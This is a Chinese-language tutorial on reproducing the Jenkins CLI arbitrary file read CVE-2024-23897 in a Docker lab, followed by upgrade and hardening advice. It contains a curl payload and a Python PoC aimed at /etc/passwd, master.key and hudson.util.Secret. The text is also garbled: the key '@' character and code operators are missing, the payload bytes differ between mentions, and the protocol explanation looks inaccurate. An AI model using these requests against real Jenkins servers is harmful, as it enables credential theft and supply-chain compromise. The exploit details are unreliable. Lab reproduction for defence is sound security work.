1. 项目概述一次对自动化“心脏”的深度安全体检最近在梳理内部CI/CD资产的安全状况时一个编号为CVE-2024-23897的漏洞引起了我的注意。这个漏洞影响的是Jenkins这个几乎成为自动化构建代名词的工具。简单来说这是一个存在于Jenkins CLI命令行接口组件中的任意文件读取漏洞。攻击者无需任何身份认证就能通过特制的命令参数读取Jenkins控制器服务器上的任意文件。想象一下你的自动化流水线“大脑”突然变成了一个不设防的文件服务器/etc/passwd、~/.ssh/id_rsa、数据库配置文件、甚至Jenkins自身的secrets/master.key都可能被直接窥探这背后的风险不言而喻。这不仅仅是数据泄露更是整个软件交付链条被颠覆的起点。今天我就带大家从零开始完整地复现一遍这个漏洞目的不是为了攻击而是为了更深刻地理解其原理从而在我们的生产环境中筑起牢固的防线。无论你是安全工程师、运维开发还是负责CI/CD平台的负责人通过这次亲手“触碰”漏洞的过程你都能对Jenkins的安全配置有全新的认识。2. 漏洞原理深度剖析参数解析器为何“叛变”要理解CVE-2024-23897我们必须先走进Jenkins CLI的工作机制。Jenkins CLI是一个允许用户通过命令行与Jenkins服务交互的工具它支持多种协议其中一种就是基于HTTP的、使用符号传递序列化数据的模式。漏洞的根源在于处理命令行参数时使用的args4j库。2.1 核心触发点字符的歧义处理当我们通过Jenkins CLI发送一个命令时如果某个参数以开头Jenkins会将其后的内容解释为一个文件路径并尝试读取该文件的内容将其作为参数值。这个设计的本意可能是为了方便从文件传入大量参数。然而问题出在路径遍历Path Traversal过滤的缺失上。在正常的、已修复的版本中当解析到../../etc/passwd这样的参数时系统应该检测到路径中的..并拒绝请求。但在存在漏洞的版本中负责解析参数的代码没有对后跟随的路径进行充分的安全校验。更关键的是这个文件读取操作发生在任何身份认证之前。这意味着攻击者无需登录只需构造一个包含符号和目标文件路径的HTTP请求发送给Jenkins的CLI端点通常是/cli就能触发文件读取。2.2 技术细节从HTTP请求到文件内容泄露漏洞触发的具体流程可以拆解如下请求构造攻击者向http://jenkins-server/cli发送一个POST请求。命令注入在请求体中攻击者模拟Jenkins CLI协议指定一个命令例如help命令因为它通常可用且简单并在参数中插入以开头的恶意路径如/etc/passwd。服务器端解析Jenkins服务端接收到请求后args4j解析器开始工作。它看到符号便尝试将其后的/etc/passwd作为文件路径打开。文件读取与回显解析器成功读取/etc/passwd文件的内容。由于CLI命令执行的特性或错误处理流程这些被读取的文件内容会以错误信息IllegalArgumentException或命令响应的一部分形式返回给攻击者。路径遍历通过使用..上级目录符号攻击者可以跳出Jenkins的工作目录或预期目录遍历读取服务器上的任意文件例如../../../../var/lib/jenkins/secrets/master.key。注意复现此漏洞纯粹是为了安全研究、教学和提升自身防御能力。任何在未授权环境下的测试都是非法且不道德的。请务必在你拥有完全控制权的实验环境中进行。2.3 影响范围与严重性该漏洞影响Jenkins 2.441版本之前即Jenkins LTS 2.426.2之前的所有版本以及Jenkins LTS 2.440.1之前的所有LTS版本。由于其无需认证、危害直接导致敏感信息泄露的特性CVSS评分高达9.8临界级别。泄露的master.key和hudson.util.Secret文件可被用来解密Jenkins内部存储的所有凭证如Git密码、API令牌等从而可能引发供应链攻击进一步渗透到内部网络。3. 实验环境搭建构建安全的漏洞复现沙盒在开始动手之前我们必须建立一个与生产环境完全隔离的实验室。我推荐使用Docker它能快速构建一个干净的、带有漏洞版本的Jenkins实例并且实验完成后可以彻底销毁不留痕迹。3.1 使用Docker拉取并运行漏洞版本Jenkins我们选择Jenkins 2.440这个受漏洞影响的LTS版本进行复现。# 1. 拉取指定版本的Jenkins镜像 docker pull jenkins/jenkins:2.440 # 2. 运行Jenkins容器 # -p 8080:8080: 将容器的8080端口映射到宿主机的8080端口。 # -p 50000:50000: Jenkins Agent通信端口本次复现非必需但为完整环境保留。 # -v jenkins-data:/var/jenkins_home: 将数据卷挂载到容器便于持久化数据实验后记得清理。 # --name jenkins-vuln: 为容器指定一个名字。 docker run -d \ --name jenkins-vuln \ -p 8080:8080 \ -p 50000:50000 \ -v jenkins-data:/var/jenkins_home \ jenkins/jenkins:2.440执行后使用docker ps命令确认容器已正常运行。稍等片刻待Jenkins初始化完成你就可以在浏览器中访问http://localhost:8080了。3.2 初始配置与注意事项首次访问你会看到解锁Jenkins的页面要求输入初始管理员密码。这个密码存储在容器内部。# 进入容器查看初始密码 docker exec jenkins-vuln cat /var/jenkins_home/secrets/initialAdminPassword复制输出的密码粘贴到Web页面中完成解锁。随后在安装插件页面我建议选择“安装推荐的插件”虽然这会花一些时间但能让我们看到一个更接近真实使用的Jenkins环境观察漏洞在标准配置下的表现。实操心得在实验环境中为了方便我有时会创建一个简单的“跳过插件安装”的配置。可以通过在运行容器前在挂载的/var/jenkins_home目录中预先创建一个名为hudson.model.UpdateCenter.xml的文件内容指向一个不存在的更新中心来绕过初始化安装。但对于全面理解漏洞安装标准插件更有价值。4. 漏洞复现实操一步步验证文件读取环境就绪后我们开始最关键的复现环节。我们将使用最通用的工具——curl来手动构造攻击请求这能帮助你最清晰地理解漏洞的利用链。4.1 手动构造恶意HTTP请求Jenkins CLI接口通过HTTP协议通信。我们需要模拟其数据格式。核心在于请求体Body的构造。确定协议端点Jenkins CLI的HTTP入口是/cli。完整的URL是http://localhost:8080/cli。构造协议头Jenkins CLI协议要求请求内容以特定字节开头。对于利用字符读取文件的请求其格式如下请求方法POST头部Content-Type: application/octet-stream请求体一个特殊的二进制协议头后跟命令和参数。为了简化我们可以直接使用一个经过分析后得出的有效载荷格式。以下curl命令演示了如何读取Jenkins服务器上的/etc/passwd文件curl -v -X POST http://localhost:8080/cli \ -H “Content-Type: application/octet-stream” \ --data-binary “[JENKINS REMOTING CAPACITY]rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAf4/etc/passwd”命令拆解与原理说明-v输出详细过程便于调试。-X POST指定POST方法。-H “Content-Type: application/octet-stream”设置内容类型这是Jenkins CLI协议所期望的。--data-binary以二进制方式发送数据确保特殊字符不被转义。数据载荷开头的长字符串[JENKINS REMOTING CAPACITY]rO0ABXNyABpodWRzb24ucmVtb3luZy5DYXBhYmlsaXR5AAAAAAAAAAECAAFKAAttYXNrc3gBAAAAAf4是Jenkins Remoting协议的固定头部和序列化数据用于建立通信。紧随其后的/etc/passwd才是我们的攻击载荷它告诉参数解析器去读取该文件。执行这条命令后你很可能看不到/etc/passwd的内容直接输出。这是因为在早期版本中文件内容可能被包装在异常堆栈信息中返回。你需要观察响应的完整内容。4.2 利用公开的PoC脚本进行高效验证手动构造请求对于理解原理至关重要但为了更高效、更稳定地复现和测试我们可以使用安全社区已经公开的Proof of Concept (PoC) 脚本。这里以Python脚本为例。首先创建一个名为cve-2024-23897.py的文件内容如下这是一个简化版的PoC逻辑用于教育目的import sys import urllib3 import requests urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit_jenkins(url, file_to_read): 利用CVE-2024-23897尝试读取Jenkins服务器上的文件 cli_url url.rstrip(‘/’) ‘/cli‘ # 这是经过简化的协议头部实际PoC会更复杂 # 真实有效的PoC需要精确的序列化字节流这里仅展示逻辑 protocol_header b’[JENKINS REMOTING CAPACITY]’ b’rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAf4’ # 构造恶意参数命令如help 文件路径 # 注意实际攻击中参数需要以特定格式嵌入到序列化数据流中 malicious_payload protocol_header f’ help {file_to_read}’.encode() headers { ‘Content-Type’: ‘application/octet-stream‘, ‘Session’: ‘dummy‘, # 某些版本可能需要 ‘Side’: ‘download‘ # 指定为下载模式 } try: resp requests.post(cli_url, datamalicious_payload, headersheaders, verifyFalse, timeout10) print(f”[*] 目标: {url}“) print(f”[*] 尝试读取: {file_to_read}“) print(f”[] 状态码: {resp.status_code}“) print(“[] 响应内容 (可能包含文件数据):“) print(resp.text[:2000]) # 打印前2000字符 # 在实际的完整PoC中这里会包含解析响应、提取文件内容的复杂逻辑 except Exception as e: print(f”[!] 请求失败: {e}“) if __name__ “__main__“: if len(sys.argv) ! 3: print(f”用法: {sys.argv[0]} Jenkins URL 文件路径“) print(f”示例: {sys.argv[0]} http://localhost:8080 /etc/passwd“) sys.exit(1) target_url sys.argv[1] target_file sys.argv[2] exploit_jenkins(target_url, target_file)使用脚本进行复现# 安装依赖如果尚未安装requests库 pip install requests # 运行脚本读取/etc/passwd python3 cve-2024-23897.py http://localhost:8080 /etc/passwd # 尝试读取Jenkins的密钥文件路径可能因安装方式而异 python3 cve-2024-23897.py http://localhost:8080 /var/jenkins_home/secrets/master.key python3 cve-2024-23897.py http://localhost:8080 /var/jenkins_home/secrets/hudson.util.Secret重要提示上述Python脚本是一个高度简化的逻辑演示它可能无法直接成功利用。真正有效的公开PoC会包含精确的Java序列化载荷构造。在Github或安全研究平台上可以找到能直接工作的PoC。使用它们时请务必在你自己控制的实验环境中进行。4.3 复现结果分析与验证成功的利用会返回包含目标文件内容的HTTP响应。由于漏洞特性文件内容通常不会以整洁的格式返回而是夹杂在Java异常信息或协议数据中。你需要仔细查看响应体搜索像root:x:0:0/etc/passwd的特征或-----BEGIN密钥文件特征这样的字符串。例如一个成功的响应片段可能看起来像这样... java.lang.IllegalArgumentException: Invalid command ‘help‘. Perhaps you meant ‘login‘? Arguments: [‘root:x:0:0:root:/root:/bin/bash‘, ‘daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin‘, ...]可以看到/etc/passwd的文件行被错误地解析成了命令参数从而泄露出来。5. 漏洞修复与加固方案复现漏洞是为了更好地防御。一旦确认漏洞存在必须立即采取行动。5.1 官方修复方案升级是最佳路径Jenkins官方在2.442LTS 2.426.3版本中修复了此漏洞。修复方式是对后面跟随的文件路径进行了严格的校验禁止了路径遍历。升级步骤备份务必先完整备份你的JENKINS_HOME目录通常是/var/lib/jenkins。停止服务停止正在运行的Jenkins服务。升级使用War包下载最新版本的jenkins.war替换旧文件然后重启服务。使用Docker修改你的docker-compose.yml或运行命令将镜像标签改为jenkins/jenkins:2.444或最新的LTS版本如jenkins/jenkins:lts。使用系统包管理器对于通过apt或yum安装的Jenkins使用相应的更新命令。重启与验证启动新版本Jenkins登录管理界面在系统管理 - 系统信息中确认版本号已更新。同时可以尝试用之前的PoC脚本进行验证应返回错误或无法读取文件。5.2 临时缓解措施如果因特殊情况无法立即升级可以考虑以下临时方案但它们不能替代升级禁用CLI接口在Jenkins的系统管理 - 全局安全配置中找到“TCP port for JNLP agents”和“CLI over Remoting”等相关设置将其禁用。最彻底的方法是通过启动参数-Dhudson.CLI.disabledtrue来完全禁用CLI。操作修改Jenkins的启动脚本如/etc/default/jenkins在JAVA_ARGS中添加-Dhudson.CLI.disabledtrue然后重启Jenkins。网络层访问控制通过防火墙或安全组策略严格限制访问Jenkins Web端口默认8080的源IP仅允许可信的构建服务器、管理员IP等访问。5.3 安全加固最佳实践除了修复特定漏洞还应建立Jenkins的长期安全基线最小权限原则为Jenkins作业和用户分配最小必要的权限。定期审计和清理不再使用的凭证和用户账号。定期更新订阅Jenkins的安全公告制定并执行定期的升级计划。隔离运行不要使用root权限运行Jenkins服务。应该创建一个专用的低权限用户如jenkins来运行它。加固Jenkins主目录确保JENKINS_HOME目录的权限设置严格避免Web进程用户拥有不必要的写权限。审计插件插件是Jenkins安全的主要风险源。只安装来自官方更新中心或可信来源的插件并定期移除不用的插件。6. 常见问题与排查技巧实录在复现和后续加固过程中你可能会遇到一些问题。这里记录了几个典型场景和解决方法。6.1 复现阶段问题问题1使用PoC脚本发送请求后返回状态码400或500但没有看到文件内容。排查首先检查Jenkins版本是否确实在受影响范围内2.441。其次确认PoC脚本是否适用于该特定版本。不同的小版本间协议细节可能有微小差异。尝试使用多个公开的PoC进行测试。技巧使用curl -v或配置PoC脚本输出完整的HTTP请求和响应头。有时文件内容可能出现在响应头的某个字段里或者被分块传输。问题2Docker容器内的Jenkins无法读取/etc/passwd等宿主机文件。原因这是正常的也是Docker安全性的体现。Docker容器有自己独立的文件系统命名空间。容器内的/etc/passwd是容器镜像内部的不是宿主机的。漏洞读取的是Jenkins进程所在环境即容器内的文件。验证你可以在容器内创建一个测试文件docker exec jenkins-vuln bash -c “echo ‘test_content‘ /tmp/test.txt“然后用PoC尝试读取/tmp/test.txt来验证漏洞是否可利用。6.2 修复与加固阶段问题问题3升级后原有的插件或作业配置不兼容。预防与处理升级前务必在测试环境进行充分验证。查看Jenkins官方的升级指南和LTS changelog了解重大变更。对于核心插件如Git、Pipeline考虑同步升级到与新版Jenkins兼容的版本。如果出现问题利用备份进行回退。问题4通过启动参数禁用CLI后某些依赖CLI的脚本或插件无法工作。评估需要评估这些脚本或插件的重要性。如果它们对于自动化流程至关重要那么禁用CLI这个临时缓解措施可能不适用必须尽快安排升级。替代方案研究是否可以使用Jenkins的REST API或SSH CLI如果启用且安全来替代原有的功能。问题5如何持续监控Jenkins的安全状态建议使用安全扫描工具集成像OWASP Dependency-Check这样的插件到构建流水线中检查项目依赖的漏洞。配置日志审计集中收集和分析Jenkins的访问日志和系统日志设置告警规则监控异常访问模式如大量来自单一IP的/cli请求。关注安全情报订阅Jenkins安全公告邮件列表、关注国家漏洞库CNNVD/NVD以及主流安全社区及时获取漏洞信息。这次对CVE-2024-23897的完整复现更像是一次对CI/CD基础设施安全性的深度压力测试。它清晰地揭示了一个道理即使是最成熟、最核心的基础软件其攻击面也可能隐藏在某个看似不起眼的组件接口中。作为运维和安全人员我们不能抱有“用了开源软件就安全”的幻想必须建立起包括及时更新、最小权限、纵深防御和持续监控在内的完整安全体系。手动复现漏洞的过程虽然繁琐但却是将抽象的安全威胁转化为具体认知的最有效方式。下次当你看到一个新的CVE编号时不妨尝试在可控环境里亲手验证一下这份经验会比阅读十份分析报告都来得深刻。最后一个小技巧是在你的实验环境中可以尝试用符号去读取Jenkins自身的config.xml等配置文件这能帮助你更直观地理解攻击者获取这些信息后能做什么从而在设计权限和存储敏感信息时更加谨慎。